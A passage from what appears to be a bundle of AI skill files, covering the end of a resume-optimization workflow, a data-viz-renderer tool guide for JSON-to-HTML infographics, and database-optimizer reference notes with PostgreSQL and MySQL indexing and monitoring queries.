required keywords / total required keywords × 100%\n   - Nice-to-have coverage = matched nice-to-have keywords / total nice-to-have keywords × 100%\n   - **Benchmark**: Required keyword coverage ≥ 80% is passing, ≥ 90% is excellent\n\n4. **Gap-fill recommendations**:\n   - For each unmatched required keyword, recommend which section and entry to add it to\n   - Provide specific integration approaches (add to skills section / embed in experience bullet / highlight in project outcomes)\n\n**Output**: Keyword match matrix + coverage scores + gap-fill plan\n\n---\n\n### Phase 3: STAR Quantified Rewriting\n\n**Goal**: Rewrite each experience entry using the STAR method, ensuring quantified data support.\n\n**STAR Method Definition**:\n\n| Element | Meaning | Checkpoint |\n|---------|---------|------------|\n| **S** - Situation | Context & background | When, what scenario, what scale |\n| **T** - Task | Objective & responsibility | What was your role, what problem to solve |\n| **A** - Action | Specific actions taken | What you did, what methods/tools you used |\n| **R** - Result | Quantified outcomes | Data changes, efficiency gains, cost savings |\n\n**Steps**:\n\n1. **Diagnose existing entries**:\n   Evaluate STAR completeness for each experience bullet:\n\n   ```\n   Original: \"Responsible for user growth initiatives\"\n\n   Diagnosis:\n   - S (Situation): ❌ Missing — no product or stage context\n   - T (Task): ⚠️ Vague — \"initiatives\" is too generic\n   - A (Action): ❌ Missing — no specific actions described\n   - R (Result): ❌ Missing — no data whatsoever\n   Score: 1/4 (severely lacking)\n   ```\n\n2. **Quantified rewriting**:\n   After gathering additional details from the user, rewrite using the STAR structure:\n\n   ```\n   Rewritten: \"During a user growth plateau for [Product Name] (DAU 500K+),\n   led the design of a new-user activation funnel analysis framework (S+T),\n   optimized 3 critical registration flow touchpoints + designed a 7-day retention incentive strategy (A),\n   increasing new-user D1 retention from 32% to 45% and monthly active users by 18% within 3 months (R)\"\n   ```\n\n3. **Quantification guidance**:\n   If the user is unsure about specific numbers, provide prompting questions:\n\n   | Dimension | Guiding Questions |\n   |-----------|-------------------|\n   | Scale metrics | How many people did you manage / product DAU / project budget |\n   | Efficiency gains | How long did it take before vs. after optimization |\n   | Growth metrics | Revenue / users / conversion rate change |\n   | Cost savings | Money / headcount / time saved |\n   | Impact scope | Users served / clients covered / teams affected |\n\n   **Data integrity principles**:\n   - All data must be based on the user's real experience — fabrication is strictly prohibited\n   - If the user cannot provide exact figures, use reasonable ranges (e.g., \"improved by approximately 20%–30%\")\n   - Encourage relative values over absolutes (e.g., \"2× efficiency improvement\" is safer than \"saved 3.7 hours per day\")\n\n4. **Rewrite quality checklist**:\n   Each rewritten entry must satisfy:\n   - [ ] Contains at least 1 quantified data point\n   - [ ] Covers at least 3 of the 4 STAR elements\n   - [ ] Begins with an action verb (led, built, optimized, drove, designed…)\n   - [ ] No longer than 3 lines (ATS readability)\n   - [ ] Incorporates missing keywords identified in Phase 2\n\n**Output**: Before/after comparison table for each entry + STAR score changes\n\n---\n\n### Phase 4: ATS Compatibility Check\n\n**Goal**: Ensure the resume can pass ATS (Applicant Tracking System) automated screening.\n\n**ATS Basics**:\nATS is the software companies use to automatically screen resumes. It parses resume text, matches keywords, and assigns scores to determine whether a resume reaches human review. Common systems include Workday, Greenhouse, Lever, Taleo, and iCIMS.\n\n**Steps**:\n\n1. **Format compatibility check**:\n\n   | Check Item | Passing Standard | Common Issues |\n   |------------|------------------|---------------|\n   | File format | PDF or DOCX (PDF preferred) | Image-based resumes cannot be parsed |\n   | Layout | Single-column, standard heading hierarchy | Multi-column layouts may parse incorrectly |\n   | Fonts | Standard fonts (Arial, Calibri, Times New Roman, Helvetica) | Decorative fonts may render incorrectly |\n   | Tables | Avoid complex table-based layouts | Text inside tables may be skipped |\n   | Headers/footers | Keep critical info out of headers/footers | Some ATS skip header/footer regions |\n   | Images/icons | Don't use images to convey key information | ATS cannot read text in images |\n   | Special characters | Avoid special Unicode bullet characters | Use standard bullets (•) or hyphens (-) |\n\n2. **Content structure check**:\n\n   | Check Item | Passing Standard |\n   |------------|------------------|\n   | Section titles | Use standard headings (\"Work Experience\", \"Education\", \"Projects\", \"Skills\") |\n   | Date format | Consistent format (e.g., \"Jan 2023 – Jun 2024\" or \"2023/01 – 2024/06\") |\n   | Company/school names | Use full names, not abbreviations (e.g., \"Amazon Web Services\" not \"AWS\") |\n   | Contact information | Include name, phone, email — placed prominently at the top |\n   | File naming | Recommended format: \"FirstName_LastName_TargetRole_Resume\" (e.g., \"John_Smith_Product_Manager_Resume.pdf\") |\n\n3. **Keyword density check**:\n   - Core keywords should appear at least 2–3 times (distributed across different sections)\n   - Avoid keyword stuffing (repeating the same keyword within one paragraph)\n   - Use the exact phrasing from the JD (if the JD says \"data analysis,\" don't write \"data mining\")\n\n4. **ATS score output**:\n\n   ```\n   ATS Compatibility Scorecard\n   ===========================\n   Format Compatibility:     ██████████ 90/100\n   Section Standards:        ████████░░ 80/100\n   Keyword Match Rate:       ███████░░░ 70/100 (see Phase 2)\n   Content Structure:        █████████░ 85/100\n   ──────────────────────────\n   Overall Score:            81/100 (Good)\n\n   ⚠️ Major deductions:\n   1. Uses a two-column layout (−10 pts)\n   2. Missing a standalone \"Skills\" section (−5 pts)\n   3. \"Data analysis\" keyword appears only once (−5 pts)\n   ```\n\n**Output**: ATS compatibility scorecard + item-by-item results + fix recommendations\n\n---\n\n### Phase 5: Final Optimized Output\n\n**Goal**: Consolidate findings from all four phases into a final optimization deliverable.\n\n**Steps**:\n\n1. **Optimization summary**:\n   ```\n   Resume Optimization Summary\n   ===========================\n   JD Keyword Coverage:      62% → 92% (+30%)\n   STAR Completeness:        Avg 1.5/4 → 3.5/4\n   ATS Compatibility Score:  55/100 → 88/100\n   Entries Rewritten:        6/8\n   Keywords Added:           7\n   ```\n\n2. **Output the fully rewritten resume**:\n   - Present the optimized resume text section by section\n   - **Bold** all changed portions for easy comparison\n   - Keep all factual information unchanged (schools, companies, dates, etc.)\n\n3. **Additional recommendations** (if applicable):\n   - Resume length guidance (new grads: 1 page; 3–5 years experience: 1–2 pages; 10+ years: up to 2 pages)\n   - Section ordering suggestions (adjust education vs. experience placement based on career stage)\n   - Channel-specific tweaks (different emphasis for recruiter / company portal / referral submissions)\n\n**Output**: Optimization summary + fully rewritten resume + additional recommendations\n\n---\n\n## Workflow Control Rules\n\n### Interaction Modes\n\n| User Input | Mode | Behavior |\n|------------|------|----------|\n| Resume only, no JD | **Guided mode** | Ask about the target role and JD first, then begin analysis |\n| Resume + JD | **Standard mode** | Execute Phases 1–5 in full |\n| Requests a specific phase only | **Single-phase mode** | Execute only the requested Phase (e.g., ATS check only) |\n| Says \"just give it a quick look\" | **Diagnostic mode** | Output three scores + Top 3 improvement suggestions — no full rewrite |\n\n### Quality Checklist\n\nBefore delivering the final output, verify each item:\n\n- [ ] Keyword match matrix is complete (covers all required JD items)\n- [ ] Every rewritten entry includes at least 1 quantified data point\n- [ ] STAR rewrites preserve the authenticity of the user's real experience\n- [ ] No data or experience has been fabricated\n- [ ] ATS check covers all format items\n- [ ] Rewritten resume length is appropriate\n- [ ] Keywords are woven in naturally — not force-fitted\n- [ ] Contact details and sensitive information have not been leaked or altered\n\n### Iterative Refinement\n\nIf the user provides feedback on the optimization:\n1. Identify which Phase the feedback relates to\n2. Re-execute from that Phase\n3. Cascade updates to all downstream content\n4. Maintain overall consistency (keywords, STAR rewrites, and ATS checks update in lockstep)\n\n## Core Principles\n\n1. **Authenticity first**: All optimizations must be based on the user's real experience — fabricating data or experience is strictly prohibited\n2. **Targeted optimization**: Every change should serve JD alignment — no aimless embellishment\n3. **Actionable advice**: Recommendations must be directly usable — don't say \"add metrics\" without guiding the user on how\n4. **Privacy protection**: Remind users to redact sensitive information (phone numbers, home addresses, etc.) when sharing their resume\n","skills/data-viz-renderer/SKILL.md":"---\nname: data-viz-renderer\ndescription: \"Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards. Offers 8 color palettes and built-in icons with no external dependencies. Triggered when users request data visualization, infographics, charts, or dashboards.\"\nlicense: MIT\ntype: tool\ntags: [\"infographic\", \"visualization\", \"svg\", \"html\", \"chart\", \"dashboard\"]\n---\n\n# Data Viz Renderer\n\nGenerate self-contained HTML/SVG infographics from JSON data. Four supported types:\n\n1. **Stats Cards** — KPI big numbers + trend arrows + icons\n2. **Comparison Chart** — Grouped bar chart with multiple series\n3. **Flow Diagram** — Step-by-step process with numbering, icons, and connecting arrows\n4. **Dashboard** — Mixed layout: stat cards + bar chart + donut chart + flow\n\nOutput is a **fully self-contained** HTML file (all CSS/SVG inline, no external dependencies), ready to open directly in a browser.\n\n## Usage\n\n### Basic Usage\n\n```bash\npython3 scripts/build_infographic.py config.json\n```\n\nAlso supports reading from stdin:\n\n```bash\ncat config.json | python3 scripts/build_infographic.py\n```\n\nThe script outputs a JSON status to stdout and writes the generated HTML to the path specified in the `output` field.\n\n### JSON Configuration Format\n\nCommon fields:\n\n| Field | Type | Required | Description |\n|-------|------|----------|-------------|\n| `title` | string | No | Infographic title |\n| `subtitle` | string | No | Subtitle |\n| `type` | string | Yes | `stats` / `comparison` / `flow` / `dashboard` |\n| `palette` | string | No | Color palette (default: `auto`) |\n| `data` | object/array | Yes | Data content (format depends on type) |\n| `output` | string | No | Output file path (default: `infographic.html`) |\n| `footer` | string | No | Footer text |\n\n### Color Palettes\n\nAvailable values: `auto` (automatically chosen based on data), `ocean`, `sunset`, `forest`, `berry`, `vibrant`, `corporate`, `pastel`, `earth`\n\n### Data Format by Type\n\n#### 1. stats — Stat Cards\n\n```json\n{\n  \"type\": \"stats\",\n  \"data\": [\n    {\n      \"label\": \"Total Revenue\",\n      \"value\": \"$1.2M\",\n      \"icon\": \"money\",\n      \"trend\": \"+12.5%\",\n      \"trend_dir\": \"up\"\n    },\n    {\n      \"label\": \"Users\",\n      \"value\": \"45,230\",\n      \"icon\": \"users\",\n      \"trend\": \"+8.2%\",\n      \"trend_dir\": \"up\"\n    }\n  ]\n}\n```\n\n**icon** options: `users`, `user`, `money`, `percent`, `globe`, `clock`, `check`, `star`, `target`, `zap`, `chart-bar`, `chart-pie`, `database`, `rocket`, `shield`, `heart`, `light`, `search`, `mail`, `settings`, `flag`, `trending-up`, `trending-down`\n\n**trend_dir**: `up` (green upward arrow) or `down` (red downward arrow)\n\n#### 2. comparison — Bar Chart Comparison\n\n```json\n{\n  \"type\": \"comparison\",\n  \"data\": {\n    \"chart_title\": \"Quarterly Revenue Comparison\",\n    \"categories\": [\"Q1\", \"Q2\", \"Q3\", \"Q4\"],\n    \"series\": [\n      {\"name\": \"2024\", \"values\": [320, 410, 380, 520]},\n      {\"name\": \"2025\", \"values\": [380, 490, 450, 610]}\n    ]\n  }\n}\n```\n\n#### 3. flow — Flow Diagram\n\n```json\n{\n  \"type\": \"flow\",\n  \"data\": [\n    {\"step\": 1, \"title\": \"Requirements\", \"description\": \"Gather user needs\", \"icon\": \"search\"},\n    {\"step\": 2, \"title\": \"Design\", \"description\": \"Create technical plan\", \"icon\": \"light\"},\n    {\"step\": 3, \"title\": \"Development\", \"description\": \"Code and test\", \"icon\": \"settings\"},\n    {\"step\": 4, \"title\": \"Launch\", \"description\": \"Deploy to production\", \"icon\": \"rocket\"}\n  ]\n}\n```\n\n#### 4. dashboard — Mixed Dashboard\n\n```json\n{\n  \"type\": \"dashboard\",\n  \"data\": {\n    \"stats\": [\n      {\"label\": \"DAU\", \"value\": \"12.3K\", \"icon\": \"users\", \"trend\": \"+5%\", \"trend_dir\": \"up\"},\n      {\"label\": \"Conversion Rate\", \"value\": \"3.8%\", \"icon\": \"target\", \"trend\": \"-0.2%\", \"trend_dir\": \"down\"}\n    ],\n    \"chart\": {\n      \"chart_title\": \"Monthly Trend\",\n      \"categories\": [\"Jan\", \"Feb\", \"Mar\", \"Apr\"],\n      \"series\": [{\"name\": \"DAU\", \"values\": [10200, 11500, 11800, 12300]}]\n    },\n    \"breakdown\": [\n      {\"label\": \"iOS\", \"value\": 45},\n      {\"label\": \"Android\", \"value\": 38},\n      {\"label\": \"Web\", \"value\": 17}\n    ],\n    \"flow\": [\n      {\"step\": 1, \"title\": \"Sign Up\", \"description\": \"\"},\n      {\"step\": 2, \"title\": \"Activate\", \"description\": \"\"},\n      {\"step\": 3, \"title\": \"Retain\", \"description\": \"\"}\n    ]\n  }\n}\n```\n\n## Output Format\n\nThe script outputs a JSON result to stdout:\n\n```json\n{\n  \"status\": \"success\",\n  \"output\": \"/absolute/path/to/infographic.html\",\n  \"type\": \"stats\",\n  \"title\": \"My Infographic\",\n  \"palette\": \"auto\",\n  \"size_bytes\": 8432\n}\n```\n\nOn error:\n\n```json\n{\n  \"status\": \"error\",\n  \"errors\": [\"Missing required field: data\"]\n}\n```\n\n## Design Highlights\n\n- **Zero external dependencies**: Pure Python standard library, no pip install needed\n- **Self-contained output**: HTML with all CSS and SVG inline, no network required\n- **Responsive layout**: Works on both desktop and mobile browsers\n- **Professional palettes**: 8 preset color schemes + automatic selection\n- **24+ built-in icons**: Common SVG icons, no font files needed\n- **CJK-friendly**: Font stack includes Noto Sans SC, PingFang SC, Microsoft YaHei\n\n## Use Cases\n\n- Visualization modules in data reports\n- Product data dashboards\n- Business process illustrations\n- Quarterly/monthly data comparisons\n- Team KPI displays\n\n## Dependencies\n\n- Python 3.7+ (standard library only)\n","skills/database-optimizer/SKILL.md":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fdatabase-optimizer%2FSKILL.md -->","skills/database-optimizer/references/index-strategies.md":"# Index Strategies\n\n## Index Selection Methodology\n\n### Identify Index Candidates\n\n```sql\n-- PostgreSQL: Find queries missing indexes\nSELECT query, calls, total_exec_time, mean_exec_time\nFROM pg_stat_statements\nWHERE mean_exec_time > 100\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- PostgreSQL: Find sequential scans on large tables\nSELECT schemaname, tablename, seq_scan, seq_tup_read,\n       idx_scan, seq_tup_read / seq_scan as avg_seq_tup_read\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND seq_tup_read / seq_scan > 10000\nORDER BY seq_tup_read DESC;\n\n-- MySQL: Check table scans\nSELECT * FROM sys.statements_with_full_table_scans\nWHERE db = 'your_database'\nORDER BY exec_count DESC;\n```\n\n## B-Tree Indexes (Default)\n\n### Single Column Indexes\n\n```sql\n-- Create index for WHERE clauses\nCREATE INDEX idx_users_email ON users(email);\n\n-- Create index for JOIN conditions\nCREATE INDEX idx_orders_user_id ON orders(user_id);\n\n-- Create index for ORDER BY\nCREATE INDEX idx_products_price ON products(price);\n\n-- Unique constraint as index\nCREATE UNIQUE INDEX idx_users_username ON users(username);\n```\n\n### Multi-Column Indexes\n\n```sql\n-- Order matters: most selective column first\nCREATE INDEX idx_orders_status_created\nON orders(status, created_at);\n\n-- Good for queries:\n-- WHERE status = 'pending'\n-- WHERE status = 'pending' AND created_at > '2024-01-01'\n-- WHERE status = 'pending' ORDER BY created_at\n\n-- NOT good for:\n-- WHERE created_at > '2024-01-01' (status not specified)\n\n-- Include commonly queried columns\nCREATE INDEX idx_users_active_email_name\nON users(active, email) INCLUDE (name);\n```\n\n### Column Order Guidelines\n\n```sql\n-- Rule 1: Equality before range\nCREATE INDEX idx_events_type_timestamp\nON events(type, timestamp);  -- type = 'click' AND timestamp > ...\n\n-- Rule 2: High selectivity first\nCREATE INDEX idx_orders_user_status\nON orders(user_id, status);  -- user_id is more selective than status\n\n-- Rule 3: Match query patterns\n-- Query: WHERE country = 'US' AND city = 'NYC' AND zip = '10001'\nCREATE INDEX idx_locations_country_city_zip\nON locations(country, city, zip);\n```\n\n## Covering Indexes\n\n### PostgreSQL INCLUDE Clause\n\n```sql\n-- Include non-key columns for index-only scans\nCREATE INDEX idx_users_email_covering\nON users(email) INCLUDE (name, created_at);\n\n-- Query can be satisfied entirely from index\nEXPLAIN (ANALYZE, BUFFERS)\nSELECT name, created_at\nFROM users\nWHERE email = 'user@example.com';\n-- Should show \"Index Only Scan\"\n```\n\n### MySQL Covering Indexes\n\n```sql\n-- MySQL: Add columns to end of index\nCREATE INDEX idx_orders_user_covering\nON orders(user_id, status, created_at, total);\n\n-- Query uses covering index\nEXPLAIN\nSELECT status, created_at, total\nFROM orders\nWHERE user_id = 123;\n-- Should show \"Using index\" in Extra column\n```\n\n## Partial Indexes\n\n### PostgreSQL Partial Indexes\n\n```sql\n-- Index only active users\nCREATE INDEX idx_users_active_email\nON users(email)\nWHERE active = true;\n\n-- Index only recent orders\nCREATE INDEX idx_orders_recent\nON orders(user_id, created_at)\nWHERE created_at > NOW() - INTERVAL '30 days';\n\n-- Index only pending/processing orders (ignore completed)\nCREATE INDEX idx_orders_active\nON orders(status, user_id)\nWHERE status IN ('pending', 'processing');\n\n-- Smaller index = better performance + less storage\n```\n\n### MySQL Filtered Indexes (8.0+)\n\n```sql\n-- MySQL 8.0+ supports functional indexes for similar effect\nCREATE INDEX idx_users_active\nON users((CASE WHEN active = 1 THEN email END));\n```\n\n## Expression Indexes\n\n### PostgreSQL Function Indexes\n\n```sql\n-- Index for case-insensitive search\nCREATE INDEX idx_users_email_lower\nON users(LOWER(email));\n\n-- Query must match expression\nSELECT * FROM users\nWHERE LOWER(email) = LOWER('User@Example.com');\n\n-- Index for JSONB queries\nCREATE INDEX idx_users_settings_theme\nON users((settings->>'theme'));\n\nSELECT * FROM users\nWHERE settings->>'theme' = 'dark';\n\n-- Index for date truncation\nCREATE INDEX idx_orders_date\nON orders(DATE(created_at));\n```\n\n### MySQL Generated Column Indexes\n\n```sql\n-- Create generated column, then index it\nALTER TABLE users\nADD COLUMN email_lower VARCHAR(255)\nGENERATED ALWAYS AS (LOWER(email)) STORED;\n\nCREATE INDEX idx_users_email_lower\nON users(email_lower);\n\n-- Use in queries\nSELECT * FROM users\nWHERE email_lower = LOWER('User@Example.com');\n```\n\n## Specialized Index Types\n\n### PostgreSQL GIN Indexes (Full-Text, Arrays, JSONB)\n\n```sql\n-- Full-text search\nCREATE INDEX idx_posts_search\nON posts USING GIN(to_tsvector('english', title || ' ' || content));\n\nSELECT * FROM posts\nWHERE to_tsvector('english', title || ' ' || content)\n      @@ to_tsquery('english', 'database & optimization');\n\n-- Array search\nCREATE INDEX idx_products_tags\nON products USING GIN(tags);\n\nSELECT * FROM products\nWHERE tags @> ARRAY['electronics', 'sale'];\n\n-- JSONB search\nCREATE INDEX idx_users_metadata\nON users USING GIN(metadata);\n\nSELECT * FROM users\nWHERE metadata @> '{\"plan\": \"premium\"}';\n```\n\n### PostgreSQL GiST Indexes (Geometric, Range)\n\n```sql\n-- Range types\nCREATE INDEX idx_events_time_range\nON events USING GIST(time_range);\n\nSELECT * FROM events\nWHERE time_range && '[2024-01-01, 2024-01-31]'::tstzrange;\n\n-- PostGIS geometric queries\nCREATE INDEX idx_locations_coords\nON locations USING GIST(coordinates);\n```\n\n### MySQL Full-Text Indexes\n\n```sql\n-- Full-text search\nCREATE FULLTEXT INDEX idx_posts_content\nON posts(title, content);\n\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('database optimization' IN NATURAL LANGUAGE MODE);\n\n-- Boolean mode for complex searches\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('+database -mysql' IN BOOLEAN MODE);\n```\n\n## Index Maintenance\n\n### PostgreSQL Maintenance\n\n```sql\n-- Update statistics for query planner\nANALYZE users;\n\n-- Rebuild bloated index\nREINDEX INDEX CONCURRENTLY idx_users_email;\n\n-- Check index bloat\nSELECT\n    schemaname, tablename, indexname,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size,\n    idx_scan as scans,\n    idx_tup_read as tuples_read,\n    idx_tup_fetch as tuples_fetched\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Find unused indexes\nSELECT\n    schemaname, tablename, indexname,\n    idx_scan,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size\nFROM pg_stat_user_indexes\nWHERE idx_scan = 0\n  AND indexrelname NOT LIKE 'pg_toast%'\nORDER BY pg_relation_size(indexrelid) DESC;\n```\n\n### MySQL Maintenance\n\n```sql\n-- Update statistics\nANALYZE TABLE users;\n\n-- Rebuild index\nALTER TABLE users DROP INDEX idx_users_email, ADD INDEX idx_users_email(email);\n\n-- Check index usage\nSELECT\n    object_schema,\n    object_name,\n    index_name,\n    count_star,\n    count_read,\n    count_fetch\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE object_schema = 'your_database'\nORDER BY count_star DESC;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema = 'your_database';\n```\n\n## Index Anti-Patterns\n\n| Anti-Pattern          | Issue                                           | Solution                                 |\n| --------------------- | ----------------------------------------------- | ---------------------------------------- |\n| Index every column    | Write overhead, storage waste                   | Index based on query patterns            |\n| Redundant indexes     | `(a)` + `(a,b)`                                 | Keep only `(a,b)`                        |\n| Wrong column order    | `(created_at, user_id)` for `WHERE user_id = ?` | Put filtered columns first               |\n| Over-covering         | Including rarely-used columns                   | Include only frequently accessed columns |\n| Ignoring WHERE clause | Full index for 5% of data                       | Use partial indexes                      |\n| Expression mismatch   | Index `email`, query `LOWER(email)`             | Create expression index                  |\n\n## Index Design Checklist\n\n1. **Analyze queries**: Use pg_stat_statements or slow query log\n2. **Check execution plans**: Look for Seq Scan on large tables\n3. **Design indexes**: Equality → Range → Include\n4. **Create concurrently**: Avoid locking (PostgreSQL)\n5. **Validate improvement**: Compare before/after EXPLAIN\n6. **Monitor usage**: Remove unused indexes after 30 days\n7. **Maintain regularly**: VACUUM, ANALYZE, REINDEX as needed\n","skills/database-optimizer/references/monitoring-analysis.md":"# Monitoring and Analysis\n\n## PostgreSQL Monitoring\n\n### Essential Extensions\n\n```sql\n-- Install performance monitoring extensions\nCREATE EXTENSION IF NOT EXISTS pg_stat_statements;\nCREATE EXTENSION IF NOT EXISTS pg_buffercache;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;  -- For similarity searches\n\n-- Reset statistics\nSELECT pg_stat_statements_reset();\nSELECT pg_stat_reset();\n```\n\n### Query Performance Tracking\n\n```sql\n-- Top queries by total time\nSELECT\n    substring(query, 1, 100) as short_query,\n    round(total_exec_time::numeric, 2) as total_time_ms,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_time_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round((100 * total_exec_time / sum(total_exec_time) OVER ())::numeric, 2) as pct_total\nFROM pg_stat_statements\nWHERE query NOT LIKE '%pg_stat_statements%'\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- Queries with high variance\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round(max_exec_time::numeric, 2) as max_ms,\n    round((stddev_exec_time / NULLIF(mean_exec_time, 0))::numeric, 2) as coeff_var\nFROM pg_stat_statements\nWHERE calls > 100\n  AND stddev_exec_time > mean_exec_time * 0.5\nORDER BY stddev_exec_time DESC\nLIMIT 20;\n\n-- I/O intensive queries\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    shared_blks_hit,\n    shared_blks_read,\n    shared_blks_written,\n    round((shared_blks_read::numeric / NULLIF(calls, 0)), 2) as reads_per_call,\n    round((shared_blks_hit / NULLIF(shared_blks_hit + shared_blks_read, 0)::numeric * 100), 2) as cache_hit_pct\nFROM pg_stat_statements\nWHERE shared_blks_read > 0\nORDER BY shared_blks_read DESC\nLIMIT 20;\n```\n\n### Connection and Lock Monitoring\n\n```sql\n-- Current activity\nSELECT\n    pid,\n    usename,\n    application_name,\n    client_addr,\n    state,\n    state_change,\n    query_start,\n    now() - query_start as duration,\n    wait_event_type,\n    wait_event,\n    substring(query, 1, 100) as query\nFROM pg_stat_activity\nWHERE state != 'idle'\nORDER BY query_start;\n\n-- Blocking queries\nSELECT\n    blocked_locks.pid AS blocked_pid,\n    blocked_activity.usename AS blocked_user,\n    blocking_locks.pid AS blocking_pid,\n    blocking_activity.usename AS blocking_user,\n    blocked_activity.query AS blocked_query,\n    blocking_activity.query AS blocking_query,\n    blocked_activity.application_name AS blocked_app\nFROM pg_catalog.pg_locks blocked_locks\nJOIN pg_catalog.pg_stat_activity blocked_activity ON blocked_activity.pid = blocked_locks.pid\nJOIN pg_catalog.pg_locks blocking_locks\n    ON blocking_locks.locktype = blocked_locks.locktype\n    AND blocking_locks.database IS NOT DISTINCT FROM blocked_locks.database\n    AND blocking_locks.relation IS NOT DISTINCT FROM blocked_locks.relation\n    AND blocking_locks.page IS NOT DISTINCT FROM blocked_locks.page\n    AND blocking_locks.tuple IS NOT DISTINCT FROM blocked_locks.tuple\n    AND blocking_locks.virtualxid IS NOT DISTINCT FROM blocked_locks.virtualxid\n    AND blocking_locks.transactionid IS NOT DISTINCT FROM blocked_locks.transactionid\n    AND blocking_locks.classid IS NOT DISTINCT FROM blocked_locks.classid\n    AND blocking_locks.objid IS NOT DISTINCT FROM blocked_locks.objid\n    AND blocking_locks.objsubid IS NOT DISTINCT FROM blocked_locks.objsubid\n    AND blocking_locks.pid != blocked_locks.pid\nJOIN pg_catalog.pg_stat_activity blocking_activity ON blocking_activity.pid = blocking_locks.pid\nWHERE NOT blocked_locks.granted;\n\n-- Wait events summary\nSELECT\n    wait_event_type,\n    wait_event,\n    count(*) as waiting_connections\nFROM pg_stat_activity\nWHERE wait_event IS NOT NULL\nGROUP BY wait_event_type, wait_event\nORDER BY waiting_connections DESC;\n```\n\n### Table and Index Statistics\n\n```sql\n-- Table bloat and dead tuples\nSELECT\n    schemaname,\n    tablename,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as total_size,\n    n_live_tup,\n    n_dead_tup,\n    round(n_dead_tup * 100.0 / NULLIF(n_live_tup + n_dead_tup, 0), 2) as dead_pct,\n    last_vacuum,\n    last_autovacuum,\n    last_analyze,\n    last_autoanalyze\nFROM pg_stat_user_tables\nWHERE n_live_tup > 1000\nORDER BY n_dead_tup DESC;\n\n-- Index usage and efficiency\nSELECT\n    schemaname,\n    tablename,\n    indexname,\n    idx_scan,\n    idx_tup_read,\n    idx_tup_fetch,\n    pg_size_pretty(pg_relation_size(indexrelid)) as size,\n    CASE\n        WHEN idx_scan = 0 THEN 'UNUSED'\n        WHEN idx_tup_read = 0 THEN 'NEVER_READ'\n        ELSE 'ACTIVE'\n    END as status\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Sequential scans on large tables\nSELECT\n    schemaname,\n    tablename,\n    seq_scan,\n    seq_tup_read,\n    idx_scan,\n    n_live_tup,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as size\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND n_live_tup > 10000\n  AND seq_tup_read / NULLIF(seq_scan, 0) > 10000\nORDER BY seq_tup_read DESC;\n```\n\n### Database Statistics\n\n```sql\n-- Database size and activity\nSELECT\n    datname,\n    pg_size_pretty(pg_database_size(datname)) as size,\n    numbackends as connections,\n    xact_commit,\n    xact_rollback,\n    round(xact_rollback * 100.0 / NULLIF(xact_commit + xact_rollback, 0), 2) as rollback_pct,\n    blks_read,\n    blks_hit,\n    round(blks_hit * 100.0 / NULLIF(blks_hit + blks_read, 0), 2) as cache_hit_pct\nFROM pg_stat_database\nWHERE datname NOT IN ('template0', 'template1', 'postgres')\nORDER BY pg_database_size(datname) DESC;\n\n-- Checkpoint and bgwriter statistics\nSELECT\n    checkpoints_timed,\n    checkpoints_req,\n    checkpoint_write_time,\n    checkpoint_sync_time,\n    buffers_checkpoint,\n    buffers_clean,\n    buffers_backend,\n    buffers_alloc,\n    round(100.0 * checkpoints_req / NULLIF(checkpoints_timed + checkpoints_req, 0), 2) as req_checkpoint_pct\nFROM pg_stat_bgwriter;\n```\n\n## MySQL Monitoring\n\n### Performance Schema Queries\n\n```sql\n-- Top statements by total latency\nSELECT\n    DIGEST_TEXT as query,\n    COUNT_STAR as exec_count,\n    ROUND(AVG_TIMER_WAIT / 1000000000000, 3) as avg_sec,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_sec,\n    ROUND(MAX_TIMER_WAIT / 1000000000000, 3) as max_sec,\n    ROUND((SUM_TIMER_WAIT / SUM(SUM_TIMER_WAIT) OVER ()) * 100, 2) as pct_total\nFROM performance_schema.events_statements_summary_by_digest\nWHERE SCHEMA_NAME NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n\n-- Statements with full table scans\nSELECT\n    OBJECT_SCHEMA as db,\n    OBJECT_NAME as tbl,\n    COUNT_STAR as exec_count,\n    SUM_NO_INDEX_USED as full_scans,\n    SUM_NO_GOOD_INDEX_USED as bad_index\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE INDEX_NAME IS NULL\n  AND OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\n  AND COUNT_STAR > 0\nORDER BY SUM_NO_INDEX_USED DESC;\n\n-- Table I/O statistics\nSELECT\n    OBJECT_SCHEMA,\n    OBJECT_NAME,\n    COUNT_READ,\n    COUNT_WRITE,\n    COUNT_FETCH,\n    COUNT_INSERT,\n    COUNT_UPDATE,\n    COUNT_DELETE,\n    ROUND(SUM_TIMER_WAIT / 1000000000000, 3) as total_latency_sec\nFROM performance_schema.table_io_waits_summary_by_table\nWHERE OBJECT_SCHEMA NOT IN ('performance_schema', 'mysql', 'sys')\nORDER BY SUM_TIMER_WAIT DESC\nLIMIT 20;\n```\n\n### InnoDB Status Monitoring\n\n```sql\n-- InnoDB buffer pool status\nSELECT\n    POOL_ID,\n    